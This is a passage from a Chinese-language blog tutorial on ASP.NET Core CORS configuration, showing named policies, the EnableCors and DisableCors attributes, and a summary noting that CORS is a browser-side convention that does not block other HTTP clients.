最佳實踐

最建議的做法還是,爲每一種跨域的策略,定義好策略名稱,然後註冊進來,同時可以在Controller上定義。

[EnableCors("api-v2")]
public class HomeController : Controller
{

通過這樣的方式,爲我們的API設置跨域策略,如果某些Action期望不允許啓用CORS,我們還可以反向禁止它: DisableCors

[Authorize]
[HttpPost]
[DisableCors]
public object PostCors(string name)
{
    return new { name = name + DateTime.Now.ToString() };
}

定義策略時一定要爲它定義策略名稱,並且在我們需要的API上啓用這些跨域的策略,而不是定義一個默認的全局策略。

總結

  • CORS是瀏覽器允許跨域發起請求的"君子協定"
  • 它是瀏覽器行爲協議
  • 它並不會讓服務器拒絕其他途徑發起的Http請求
  • 開啓時需要考慮是否存在被惡意網站攻擊的情形

參考

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章